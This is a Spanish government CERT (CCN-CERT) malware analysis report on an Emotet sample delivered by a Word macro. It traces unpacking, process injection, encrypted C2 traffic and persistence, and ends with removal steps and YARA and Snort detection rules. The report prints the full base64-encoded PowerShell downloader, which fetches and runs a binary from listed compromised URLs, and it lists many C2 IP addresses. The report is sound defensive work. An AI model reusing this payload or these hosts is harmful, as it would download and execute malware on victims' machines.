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LIMITACIÓN DE RESPONSABILIDAD 

El presente documento se proporciona de acuerdo con los términos en él recogidos, rechazando 

expresamente cualquier tipo de garantía implícita que se pueda encontrar relacionada. En ningún caso, 

el Centro Criptológico Nacional puede ser considerado responsable del daño directo, indirecto, fortuito 

o extraordinario derivado de la utilización de la información y software que se indican incluso cuando se 

advierta de tal posibilidad. 

  

AVISO LEGAL 

Quedan rigurosamente prohibidas, sin la autorización escrita del Centro Criptológico Nacional, bajo las 

sanciones establecidas en las leyes, la reproducción parcial o total de este documento por cualquier 

medio o procedimiento, comprendidos la reprografía y el tratamiento informático, y la distribución de 

ejemplares del mismo mediante alquiler o préstamo públicos. 
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1. SOBRE CCN-CERT, CERT GUBERNAMENTAL NACIONAL 

El CCN-CERT es la Capacidad de Respuesta a incidentes de Seguridad de la 

Información del Centro Criptológico Nacional, CCN, adscrito al Centro Nacional de 

Inteligencia, CNI. Este servicio se creó en el año 2006 como CERT Gubernamental 

Nacional español y sus funciones quedan recogidas en la Ley 11/2002 reguladora del 

CNI, el RD 421/2004 de regulación del CCN y en el RD 3/2010, de 8 de enero, regulador 

del Esquema Nacional de Seguridad (ENS), modificado por el RD 951/2015 de 23 de 

octubre. 

Su misión, por tanto, es contribuir a la mejora de la ciberseguridad española, 

siendo el centro de alerta y respuesta nacional que coopere y ayude a responder de 

forma rápida y eficiente a los ciberataques y a afrontar de forma activa las 

ciberamenazas, incluyendo la coordinación a nivel público estatal de las distintas 

Capacidades de Respuesta a Incidentes o Centros de Operaciones de Ciberseguridad 

existentes. 

Todo ello, con el fin último de conseguir un ciberespacio más seguro y confiable, 

preservando la información clasificada (tal y como recoge el art. 4. F de la Ley 11/2002) 

y la información sensible, defendiendo el Patrimonio Tecnológico español, formando al 

personal experto, aplicando políticas y procedimientos de seguridad y empleando y 

desarrollando las tecnologías más adecuadas a este fin. 

De acuerdo a esta normativa y la Ley 40/2015 de Régimen Jurídico del Sector 

Público es competencia del CCN-CERT la gestión de ciberincidentes que afecten a 

cualquier organismo o empresa pública. En el caso de operadores críticos del sector 

público la gestión de ciberincidentes se realizará por el CCN-CERT en coordinación con 

el CNPIC. 
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2. RESUMEN EJECUTIVO 

La muestra analizada se corresponde con Emotet, un troyano cuyos orígenes se 

remontan a 2014 y cuya autoría se atribuye al grupo de atacantes Mealybug [REF.- 1]. 

El desarrollo inicial de Emotet tenía como principal objetivo el robo de credenciales 

bancarias, aunque actualmente su modelo de negocio ha evolucionado siendo 

utilizando también como servicio de distribución de otros códigos dañinos 

pertenecientes a diversos grupos de atacantes. El troyano bancario Trickbot o el 

ransomware Ryuk [REF.- 2] son ejemplos de algunos de los especímenes distribuidos 

por Emotet en los últimos meses.  

La principal vía de infección utilizada por los atacantes es el correo electrónico, 

generalmente por medio de un enlace dañino o un documento ofimático con macros.  

Emotet presenta una arquitectura modular con múltiples funcionalidades y 

capacidades; por ejemplo: servicio de malspam a la lista de contactos de la víctima, 

servicio de propagación a otros equipos mediante fuerza bruta a partir de diccionarios 

de contraseñas, servicio DDoS, etc. Cabe destacar que, las capacidades de propagación 

por medio de los exploits EternalBlue, EternalRomance, o EternalChampion (MS17-

010) atribuidas inicialmente también a Emotet, proceden realmente de uno de los 

módulos empleados por Trickbot [REF.- 3]. 

El espécimen descrito en el presente análisis parte de un documento de Word 

con una macro dañina. Si el usuario habilita dicha macro, un script ofuscado en 

Powershell inicializará el proceso de infección mediante la descarga y ejecución de un 

binario (Emotet) desarrollado en C++ para arquitecturas x86. Tras su ejecución, este 

binario generará múltiples procesos hijo e irá desempaquetándose en memoria hasta 

volcar, en determinado directorio del usuario, el binario que finalmente conectará con 

el servidor de control para descargar el malware correspondiente (por ejemplo, 

Trickbot). 

3. C   C       C   D   C D    D      

El código dañino realiza las siguientes acciones: 

 Ejecuta código .vba (Visual Basic para Aplicaciones) por medio de una 

macro embebida en un documento de Word. 

 Ejecuta un script ofuscado en Powershell para descargar y ejecutar 

Emotet. 

 Durante el proceso de infección de Emotet se generan nuevos procesos 

y se conecta con el servidor de control (C2). 

 Se remite información sobre el sistema comprometido al C2. 

 Se descargan nuevos especímenes en el sistema. 
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4. DETALLES GENERALES 

La firma del código dañino del fichero 2019_09-666019181.doc es la siguiente: 

MD5 19411b3d1c84b254bc2254957397bd8f 

SHA1 e104c8d5045a7309e796005081e36e1591982315 

SHA256 2926d350ee2037949c36a19aca959b8404626f09d32bf930cf9b218424f7cf27 

El documento ha sido remitido a la plataforma de VirusTotal [REF.-4] por primera 

vez el 2019-09-26 a las 07:03:42 desde Emiratos Árabes Unidos. Actualmente una tasa 

de 40 motores antivirus detecta la amenaza. Cabe destacar que otras plataformas 

como VMRay [REF.-5] y Any.run [REF.-6] también recogen diversos análisis de la 

muestra. En la siguiente imagen se observa el árbol de procesos generado durante el 

proceso de infección partiendo de la ejecución de la macro embebida en el documento 

Word.  

 

 

Figura 1. Resultado análisis (https://app.any.run) 



 

 

 

 

CCN-STIC-

426 

USO OFICIAL 

CCN-CERT ID-23/19  Código Dañino “Emotet” 

7 Centro Criptológico Nacional                                              USO OFICIAL 

Fíjese que el código .vba embebido en la macro tiene por objetivo ejecutar una 

instancia de powershell con determinado script ofuscado en base64 (utilizado como 

argumento). Nótese, sin embargo, que dicho proceso (powershell.exe) no es ejecutado 

como un proceso hijo de WINWORD.EXE sino que es WMI (Windows Management 

Instrumentation) el responsable de su ejecución (proceso WmiPrvSE.exe). Esta acción 

responde a un intento de evadir soluciones de seguridad (AV, EDR, etc.) que 

monitorizan procesos hijos potencialmente dañinos por parte de aplicaciones 

ofimáticas como Word, Excel y PowerPoint.  

Algunas tecnologías de Microsoft, como ASR (Attack Surface Reduction) [REF.- 7], 

están dirigidas también a detectar este tipo de amenazas. Utilizando WMI, en lugar del 

propio proceso ofimático se consigue ejecutar una instancia de powershell de forma 

más discreta [REF.- 8]. 

 

Figura 2. Ejecución de powershell vía WMI 

El documento Word tiene un tamaño de 151040 bytes. Dispone de diversas 

macros ofuscadas para ejecutar la instancia de powershell que desencadenará el 

proceso de infección de Emotet. 

 

 

Figura 3. Macros ofuscadas 
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La mayor parte del código .vba se corresponde con comentarios e instrucciones 

sin sentido cuyo único propósito es entorpecer el análisis del mismo. Mediante un 

conjunto de sustituciones, la macro consigue recomponer un string de gran tamaño 

que se corresponde con código powershell codificado en base64. 

 

Figura 4. Macro ofuscada (powershell en base64) 

Recuperado el base64, la macro finalmente ejecuta el proceso de powershell vía 

WMI. 

 

Powershell -enco 

JABNAGEAbgBhAGcAZQByAHIAbQBvAD0AJwBWAGUAbgBlAHoAdQBlAGwAYQBoAHcAZgAnADsAJABjAG

EAcABhAGMAaQB0AG8AcgBpAHAAawAgAD0AIAAnADYANQA3ACcAOwAkAGQAZQBwAG8AcwBpAHQA

awBqAG8APQAnAEkAbgB0AGUAcgBuAGEAbABqAGkAdwAnADsAJABSAGUAdgBlAHIAcwBlAGUAbgBnAG

kAbgBlAGUAcgBlAGQAaQBmAHEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwB

cACcAKwAkAGMAYQBwAGEAYwBpAHQAbwByAGkAcABrACsAJwAuAGUAeABlACcAOwAkAE8AdgBhAGw

AbgBmAGMAPQAnAEgAYQBuAGQAYwByAGEAZgB0AGUAZABfAFAAbABhAHMAdABpAGMAXwBQAGEA

bgB0AHMAcgBvAGQAJwA7ACQAYQBwAHAAbABpAGMAYQB0AGkAbwBuAHAAbQBpAD0AJgAoACcAbgB

lACcAKwAnAHcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdAAuAFcARQBCAEMATABJAGUAb

gBUADsAJABQAHIAYQBjAHQAaQBjAGEAbABfAFcAbwBvAGQAZQBuAF8ARwBsAG8AdgBlAHMAegBpAGg

APQAnAGgAdAB0AHAAOgAvAC8AbwB0AGMALQBtAGEAbgBpAGwAYQAuAGMAbwBtAC8AdwBwAC0AY

QBkAG0AaQBuAC8AcQAyAHoAaAB0ADcANQA2ADcALwBAAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBtA

HQAaQAuAHMAaABpAHAAaQBuAGQAaQBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBjAH

MAcwAvADIAMQBuAGQAMwAxADMAMgA4AC8AQABoAHQAdABwADoALwAvAHcAdwB3AC4AdwBpAH

MAZABvAG0AYQBiAGMALgBjAG8AbQAvAGMAcwBzAC8AdwBtADgAZgB1ADkAMQA5ADAALwBAAGgAd

AB0AHAAOgAvAC8AcgBlAHAAbwByAHQAaQBuAGcAbgBlAHcALgB4AHkAegAvAHcAbwByAGQAcAByAGU

AcwBzAC8AMwBmADAAOAA4ADAALwBAAGgAdAB0AHAAOgAvAC8AbQBlAHQAYQBwAGgAeQBzAGkAY
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wBhAGwAaAB1AGIALgBjAG8AbQAvAGIAawBwAF8AMAA4ADAAOQAyADAAMQA5AC8AOQBuAHYAbwA

4ADcANgA3ADkAOQAvACcALgAiAFMAYABQAGwASQBUACIAKAAnAEAAJwApADsAJAB2AGkAbwBsAGUA

dABjAHUAegA9ACcAaABhAGMAawBpAG4AZwB0AGgAbwAnADsAZgBvAHIAZQBhAGMAaAAoACQAQQBy

AGkAegBvAG4AYQB2AHMAZgAgAGkAbgAgACQAUAByAGEAYwB0AGkAYwBhAGwAXwBXAG8AbwBkAGU

AbgBfAEcAbABvAHYAZQBzAHoAaQBoACkAewB0AHIAeQB7ACQAYQBwAHAAbABpAGMAYQB0AGkAbwB

uAHAAbQBpAC4AIgBEAE8AYABXAG4AbABgAG8AYQBkAGYASQBsAGUAIgAoACQAQQByAGkAegBvAG4A

YQB2AHMAZgAsACAAJABSAGUAdgBlAHIAcwBlAGUAbgBnAGkAbgBlAGUAcgBlAGQAaQBmAHEAKQA7AC

QAWQBlAG0AZQBuAG4AbwBvAD0AJwBCAG8AcgBkAGUAcgBzAHcAYgBpACcAOwBJAGYAIAAoACgAJgAo

ACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQAUgBlAHYAZQByAHMAZQBlAG4AZw

BpAG4AZQBlAHIAZQBkAGkAZgBxACkALgAiAEwARQBuAGAARwBUAEgAIgAgAC0AZwBlACAAMgAxADAA

NQA3ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiA

FMAYABUAGEAUgBUACIAKAAkAFIAZQB2AGUAcgBzAGUAZQBuAGcAaQBuAGUAZQByAGUAZABpAGYAc

QApADsAJABCAG8AbABpAHYAYQByAF8ARgB1AGUAcgB0AGUAbgBvAHIAPQAnAFMAQwBTAEkAbQBsAG

gAJwA7AGIAcgBlAGEAawA7ACQAUgBlAGcAaQBvAG4AYQBsAGIAcABiAD0AJwBBAHUAdABvAF8ATABvA

GEAbgBfAEEAYwBjAG8AdQBuAHQAaAB6AGkAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATABpAGEAa

QBzAG8AbgBxAHYAYwA9ACcAYgBlAHMAdABvAGYAYgByAGUAZQBkAHEAaQB0ACcA 

Figura 5. Ejecución powershell vía WMI 
 

El script en powershell funcionará a modo de downloader para descargar, desde 

alguno de los 5 dominios embebidos en una de sus variables, el siguiente stage. Las 

URL de descarga disponible en el script se corresponden con: 

 http://otc-manila.com/wp-admin/q2zht7567/ 

 http://www.mti.shipindia.com/wp-admin/css/21nd31328/ 

 http://www.wisdomabc.com/css/wm8fu9190/ 

 http://reportingnew.xyz/wordpress/3f0880/ 

 http://metaphysicalhub.com/bkp_08092019/9nvo876799/ 

Para su descarga se hará uso del método DownloadFile de la clase WebClient. El 

fichero descargado se almacenará dentro del directorio del usuario (%userprofile%) 

bajo el nombre 657.exe. 

 

Figura 6. Código powershell desofuscado 

El binario 657.exe (MD5: d29401c708cb018661d76e7b515137b0) se encuentra 

empaquetado, tiene un tamaño de 258.048 bytes, ha sido desarrollado en C++, y se ha 

compilado para arquitecturas de 32 bits el 26 de septiembre de 2019 a las 12:45:16 

(aunque este dato puede ser fácilmente manipulado).  

Se observa que uno de sus recursos (RCDATA 102) ocupa un gran tamaño 

respecto del tamaño total del binario (75588 bytes) con lo que parece un blob de datos 

cifrado. 
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Figura 7. Recurso unknown (RCData: 102) 

Actualmente 52 motores antivirus detectan esta muestra como dañina. [REF.-9]. 

La siguiente captura muestra las principales características estáticas del binario. 

 

Figura 8. Propiedades del binario 657.exe 

 En el apartado 6 se describirán las acciones dañinas desencadenadas a partir de la 

ejecución del binario 657.exe. 

5. PROCEDIMIENTO DE INFECCIÓN 

La vía de infección empleada por los atacantes se corresponde con un spear-

phishing, en el que se adjunta un documento ofimático (.doc), similar al mostrado en la 

siguiente imagen. 
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Figura 9. Spear Phishing (Fuente imagen: blogs.protegerse.com) 

 Dicho documento de Word contiene código .vba dañino que será ejecutado si el 

usuario, tras abrir el mismo, habilita la ejecución de macros. En dicho caso, el evento 

“AutoOpen” invocará al método “Genericvwu” (véase resaltado en la siguiente imagen) 

que comenzará la ejecución de las acciones dañinas. 

 

Figura 10. Método AutoOpen() 

6. CARACTERÍSTICAS TÉCNICAS 

El binario 657.exe comenzará su ejecución desempaquetándose en memoria. En 

primer lugar, reservará un búfer donde copiará un pequeño stub que utilizará para 

cargar y hacer uso de determinadas APIs ofuscadas. 



 

 

 

 

CCN-STIC-

426 

USO OFICIAL 

CCN-CERT ID-23/19  Código Dañino “Emotet” 

12 Centro Criptológico Nacional                                              USO OFICIAL 

 

Figura 11. APIs ofuscadas 

Tras identificar las APIs necesarias, localizará el recuso RCData 102 vía 

FindResourceA y LoadResource para cargar el blob de datos cifrado mencionado en el 

punto 4. 

 

Figura 12. Localización recurso 

Dicho recurso será copiado a un búfer del mismo tamaño ( 75588  bytes) vía 

memcpy.                    

 

Figura 13. Copia del recurso 102 a búfer 

Posteriormente, el búfer será descifrado apoyándose en una clave de 32 bytes 

generando como resultado un nuevo shellcode. Asimismo, puede observarse, en el 

offset 0x53F de dicho búfer, el comienzo de un nuevo binario. 
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Figura 14. Descifrado del recurso / Nuevo binario (0x001C053F) 

El inicio del nuevo shellcode recorrerá la export table de ntdll.dll y kernel.dll para 

localizar nuevas API a partir de determinados hashes. 

 

Figura 15. Resolución de API 

El espécimen reservará un búfer de 81920 bytes donde copiará el binario 

desempaquetado (0x270000 en la siguiente imagen). Posteriormente asignará los 

permisos correspondientes a cada una de sus secciones vía VirtualProtect y finalmente 

hará un call al EntryPoint del nuevo binario (0x00271900). 

 

Figura 16. Jump EntryPoint 

Nuevamente, el código dañino comenzará desofuscando determinadas API, y 

cargando nuevas DLL requeridas vía LoadLibraryW. Posteriormente creará un nuevo 

proceso de sí mismo (c:\users\<usuario>\657.exe) vía CreateProcessW y continuará el 

proceso de desempaquetado. 
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Figura 17. CreateProcessW (Suspended) 

En la siguiente imagen se muestra el árbol de procesos generados por el propio 

binario inicial 657.exe. Obsérvese que algunos de estos procesos crean nuevos 

procesos hijo con argumentos concretos para instruir a los mismos diversas vías de 

ejecución diferentes. Finalmente, uno de los procesos instala el binario 

folderschunk.exe en el directorio “c:\Users\<username>\AppData\Local\folderschunk\” 

(el nombre de este binario puede variar). Dicho binario será el responsable de crear 

persistencia en el equipo por medio de una entrada en la clave de registro 

“HKCU\Software\Microsoft\Windows\CurrentVersion\Run” y, si consta de permisos 

administrativos, mediante la creación de un servicio bajo el nombre “folderschunk” 

(véase punto 8).  

Tras la ejecución de este último proceso (PID 2216 en la siguiente imagen) el 

resto de procesos padre serán finalizados. 

 

Figura 18. Procesos hijo creados 

Cabe destacar que durante el proceso de desempacado se emplean ciertos 

trucos para evadir la monitorización de sus acciones por parte de herramientas de 

análisis. Por ejemplo, el código dañino reserva memoria para copiar el contenido de 

Ntdll.dll (C:\Windows\SysWOW64\ntdll.dll en el caso de ejecutarse sobre WoW) y 

posteriormente recorre su export table para recuperar los Service Numbers asociados a 

determinadas API (NtUnmapViewOfSection, NtCreaSection, NTMapViewOfSection, 

NtWriteVirtualMemory, NtResumeThread). Estas APIs permitirán la inyección del 

código en el proceso que finalmente conectará con el C2. 

 

Figura 19. Búsqueda de NtUnmapViewOfSection 
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Previa a la comunicación con el C2, la muestra recuperará información sobre el 

sistema comprometido: sistema operativo, hostname, listado de procesos 

ejecutándose, etc. 

 

Figura 20. Información recopilada 

7. CIFRADO Y COMUNICACIONES  

De forma reiterativa el código dañino intentará comunicarse con el servidor de 

control para remitir la información del sistema y obtener las instrucciones pertinentes. 

Dicha información es enviada vía POST de forma ofuscada y cifrada. 

 

Figura 21. Envío de información a los C2 

El espécimen dispone de un gran listado de servidores de control en su fichero 

de configuración a través de los cuales irá rotando para enviar la información 

recopilada. 
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Figura 22. Listado de C2 

Algunas de las IP embebidas en el fichero se muestran en el siguiente listado: 

Véase el apartado 9 para conocer en detalle algunas fuentes de referencia con blacklist 

actualizadas sobre Emotet. 

109.104.79.48 
109.169.86.13 
114.79.134.129 
119.159.150.176 
119.59.124.163 
119.92.51.40 
138.68.106.4 
139.5.237.27 
149.62.173.247 
151.80.142.33 
159.203.204.126 
170.84.133.72 
178.249.187.151 
178.79.163.131 
179.62.18.56 
181.123.0.125 
181.167.53.209 
181.188.149.134 
181.230.212.74 
181.36.42.205 
183.82.97.25 
185.187.198.10 
185.86.148.222 
186.0.95.172 
186.83.133.253 
187.155.233.46 
187.188.166.192 

187.199.158.226 
187.235.239.214 
189.166.68.89 
189.187.141.15 
190.104.253.234 
190.117.206.153 
190.1.37.125 
190.158.19.141 
190.200.64.180 
190.221.50.210 
190.230.60.129 
190.38.14.52 
200.21.90.6 
200.57.102.71 
200.58.171.51 
201.163.74.202 
201.184.65.229 
201.214.74.71 
203.25.159.3 
211.229.116.97 
212.71.237.140 
217.113.27.158 
217.113.27.158 
217.199.160.224 
89.188.124.145 
91.205.215.57 
91.83.93.124 
 

217.199.175.216 
23.92.22.225 
46.163.144.228 
46.21.105.59 
46.28.111.142 
46.29.183.211 
46.41.134.46 
46.41.151.103 
50.28.51.143 
51.15.8.192 
5.196.35.138 
5.77.13.70 
62.75.143.100 
62.75.160.178 
71.244.60.230 
71.244.60.231 
77.245.101.134 
77.55.211.77 
79.143.182.254 
80.240.141.141 
80.85.87.122 
81.169.140.14 
86.42.166.147 
87.106.77.40 
88.250.223.190 
 

 

 Para cifrar la información el código dañino, en primer lugar, aplica un algoritmo 

de compresión y posteriormente hace uso de la CryptoAPI de Windows para cifrar el 
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búfer resultante a partir de una clave de sesión AES. La CryptoAPI será utilizada 

también para descifrar los datos recibidos del servidor de control. 

 

Figura 23. Compresión 

La siguiente imagen muestra las diversas API involucradas para el cifrado del 

búfer comprimido. Mediante CryptAcquireContextW se selecciona un provider type 

0x18 (RSA Full and AES) para generar un handle al key container correspondiente que 

será utilizado por CryptEncrypt para cifrar los datos. 

 

Figura 24. Cifrado de los datos 

Los datos cifrados serán ofuscados mediante base64 y posteriormente por el 

algoritmo URL Encode. 
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Figura 25. WinInet (envió de datos cifrados vía HttpSendRequestW) 

En la siguiente imagen se muestra la lógica de las comunicaciones. En la parte 

izquierda aparecen las principales APIs, pertenecientes a WinInet, para gestionar el 

envío de la información cifrada vía HTTP. Una vez HttpSendResquestW remite la 

información al destino, la función receive_response será la responsable de recuperar la 

respuesta del servidor de control. 

 

Figura 26. Gestión de las comunicaciones 

Cabe destacar que el modus operandi utilizado por la muestra analizada de 

Emotet para ofuscar, cifrar y remitir la información parece coincidir en gran medida 

con la descrita por Fortinet en su análisis “A Deep Dive into the Emotet Malware” 

publicado el 6 de junio de este mismo año. Remítase a la referencia adjunta [REF.- 10] 

para más información. 
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8. PERSISTENCIA 

Durante el proceso de infección, el binario folderschunk.exe es el responsable de 

generar persistencia por medio de la clave 

“HKCU\Software\Microsoft\Windows\CurrentVersion\Run”. Téngase en cuenta que el 

nombre de dicho proceso puede variar, coincidiendo en cualquier caso con el 

directorio creado en “c:\Users\<username>\AppData\Local”. Por ejemplo, otras 

instalaciones de Emotet [REF.- 6] han descargado el binario easywindows dentro del 

directorio “C:\Users\admin\AppData\Local\easywindow\”. 

 

Figura 27. Persistencia 

El código dañino también dispone de la capacidad de crear un servicio como 

método de persistencia. Para ello comprobará si tiene permisos administrativos 

invocando a la API OpenSCManager. En caso afirmativo creará un nuevo servicio 

apuntando al binario "folderschunk". 

 

Figura 28. Servicio 

Una forma de listar los servicios disponibles en el sistema es empleando, desde 

la línea de comandos, la orden “sc query”. Para listar la ruta al binario asociado con un 

servicio determinado puede utilizarse la orden “sc qc <nombre del servicio>” (por 

ejemplo: sc query folderschunk). Si se identifica el servicio dañino asegúrese de parar el 

mismo mediante la orden “sc stop <nombre del servicio>” (por ejemplo: sc stop 

folderschunk). Dicha instrucción tendrá que emitirse desde una línea de comandos con 

derechos administrativos. Posteriormente, elimínese el binario dañino responsable del 

servicio si previamente no se ha hecho. Este binario se correspondería con el mismo 

indicado en la clave de registro previamente descrita. 
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9. DETECCIÓN Y ELIMINACIÓN 

El último proceso generado por Emotet es el responsable de crear persistencia 

por medio de la clave de registro o el servicio descrito en el punto anterior. Téngase en 

cuenta, que Emotet funciona a modo de dropper de otros códigos dañinos como, por 

ejemplo, Trickbot. Esto implica que el malware descargado puede crear, a su vez, 

nuevos vectores de persistencia. Debido a estos hechos la eliminación de la entrada 

correspondiente en la clave de registro: 

  

O la eliminación del servicio no garantizaría la desinfección completa de la 

amenaza. 

Para identificar Emotet de forma automatizada remítase a la regla de Yara 

descrita en el anexo. Por otro lado, para determinar si un equipo pudiera o no estar 

infectado con Emotet utilizando un enfoque manual se recomienda observar los 

procesos ejecutándose mediante la herramienta Process Explorer [REF.- 11]; en 

concreto aquellos ejecutándose desde la ruta “c:\Users\<username>\AppData\Local”. 

Las propiedades del binario dañino detallan que la compañía del mismo es “Microsoft 

Corporation” simulando ser una aplicación legítima; no obstante, el binario no está 

firmado. Desde la columna “Verified Signer” y posteriormente habilitando la opción 

“Options -> Verify Image Signatures” es posible identificar rápidamente los binarios no 

firmados. Merecen especial atención aquellos cuya compañía es “Microsoft 

Corporation” pero que carecen de firma; como es el caso de Emotet.  

Asimismo, asegúrese de instruir a Process Explorer a realizar una búsqueda por 

hash de los procesos en ejecución para identificar instancias de Emotet. En la siguiente 

imagen se observa que el proceso folderschunk.exe tiene una tasa de detección de 

52/70 según el reporte de VirusTotal. 

 

Figura 29. Identificación Emotet 

“HKCU\Software\Microsoft\Windows\CurrentVersion\Run” 
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En el caso de identificar el espécimen asegúrese de finalizar el proceso y 

posteriormente eliminar la entrada de registro indicada en el apartado anterior. 

Respecto a las comunicaciones, Emotet así como TrickBot emplean un elevado 

número de servidores de control y proxy en sus ficheros de configuración. Se 

recomienda actualizar a diario los firewalls/IDS/IPS con las blacklists disponibles en 

abuse.ch y por el CCN-CERT:  

 http://ccn-cert.net/emotet-ioc 

 https://feodotracker.abuse.ch/browse/ 

 https://feodotracker.abuse.ch/downloads/ipblocklist.csv 

Dichas listas mantienen un listado actualizado de servidores de control utilizados 

por dichos especímenes, así como el estado (online/offline) de los mismos. 

 

Figura 30. Servidores de Control 

Por otro lado, se recomienda llevar a cabo las medidas de prevención recogidas 

en el informe “Prevención de la campaña de código dañino EMOTET con medidas 

técnicas de las guías CCN-STIC de ENS nivel ALTO” [REF.-12] publicado el 8 de octubre 

de 2019 por parte del CCN-CERT. 
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10.  REGLAS DE DETECCIÓN 

10.1 REGLA DE YARA 

Utilícese la siguiente regla de Yara para identificar el binario principal de 

infección utilizado en la campaña descrita. Es importante destacar el hecho de que los 

binarios relacionados con Emotet están empaquetados y altamente ofuscados. Esto 

complica la realización de reglas, basadas en características estáticas del binario (por 

ejemplo, strings, secciones, imports). Debido a este carácter polimórfico se 

recomienda hacer uso de los recursos mencionados en el punto 9  para disponer de 

reglas actualizadas que permitan identificar una gama más amplia de ataques 

procedentes de Emotet. 

import "pe" 
rule emotet_exe{ 
meta: 
    description = "Emotet malware" 
    author = "CCN-CERT" 
    version = "1.0" 
    date = "2019-10-20" 
    hash1 = "affcacd99f040cf5ebbda735df5c699e34dac5a1" 
strings: 
    $x1 = "5TubgOcR0d6MzAefB" fullword ascii 
    $x2 = "NSk1A~CBckfAPwNU~XgKmjnEyD*Avep" fullword ascii 
    $x3 = "f7S~0XK4rE*bOdBIrT1xz|sg0NXla4Ch" fullword ascii 
  
condition: 
uint16(0) == 0x5A4D and filesize < 400KB and any of them  
and pe.sections[pe.section_index(".rsrc")].raw_data_size > 90000 
} 

 

Figura 31. Yara Rule 
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10.2 REGLAS DE SNORT 

Las siguientes reglas de Snort detectan la resolución de ciertos dominios 

embebidos en el powershell desde el cual se descarga y ejecuta Emotet en el 

sistema. El objetivo de las mismas es frenar e identificar la amenaza en la fase 

más temprana; es decir, cuando se descarga Emotet. Téngase en cuenta que 

algunos de estos dominios pueden corresponderse con sitios legítimos que han 

sido comprometidos para almacenar el código dañino. Para disponer de un 

listado de IP actualizado relacionado con los C2 de Emotet y Trickbot remítase 

al punto 9. 

alert udp $HOME_NET  any -> $EXTERNAL_NET 53 (msg:"DNS request otc-manila.com (Emotet malware)"; flow:to_server; 

byte_test:1,!&,0xF8,2; content:"|0A|otc-manila|03|com|00|"; fast_pattern:only; metadata:service dns; threshold:type limit, 

track by_src, count 1, seconds 60; classtype:trojan-activity; sid:1000001; rev:1;) 

alert udp $HOME_NET  any -> $EXTERNAL_NET 53 (msg:"DNS request metaphysicalhub.com (Emotet malware)"; flow:to_server; 

byte_test:1,!&,0xF8,2; content:"|0F|metaphysicalhub|03|com|00|"; fast_pattern:only; metadata:service dns; threshold:type 

limit, track by_src, count 1, seconds 60; classtype:trojan-activity; sid:1000002; rev:1;) 

alert udp $HOME_NET  any -> $EXTERNAL_NET 53 (msg:"DNS request reportingnew.xyz (Emotet malware)"; flow:to_server; 

byte_test:1,!&,0xF8,2; content:"|0C|reportingnew|03|xyz|00|"; fast_pattern:only; metadata:service dns; threshold:type limit, 

track by_src, count 1, seconds 60; classtype:trojan-activity; sid:1000003; rev:1;) 

alert udp $HOME_NET  any -> $EXTERNAL_NET 53 (msg:"DNS request www.wisdomabc.com (Emotet malware)"; flow:to_server; 

byte_test:1,!&,0xF8,2; content:"|03|www|09|wisdomabc|03|com|00|"; fast_pattern:only; metadata:service dns; threshold:type 

limit, track by_src, count 1, seconds 60; classtype:trojan-activity; sid:1000004; rev:1;) 

alert udp $HOME_NET  any -> $EXTERNAL_NET 53 (msg:"DNS request www.mti.shipindia.com (Emotet malware)"; flow:to_server; 

byte_test:1,!&,0xF8,2; content:"|03|www|03|mti|09|shipindia|03|com|00|"; fast_pattern:only; metadata:service dns; 

threshold:type limit, track by_src, count 1, seconds 60; classtype:trojan-activity; sid:1000005; rev:1;)  

 

Figura 32. Reglas de Snort 
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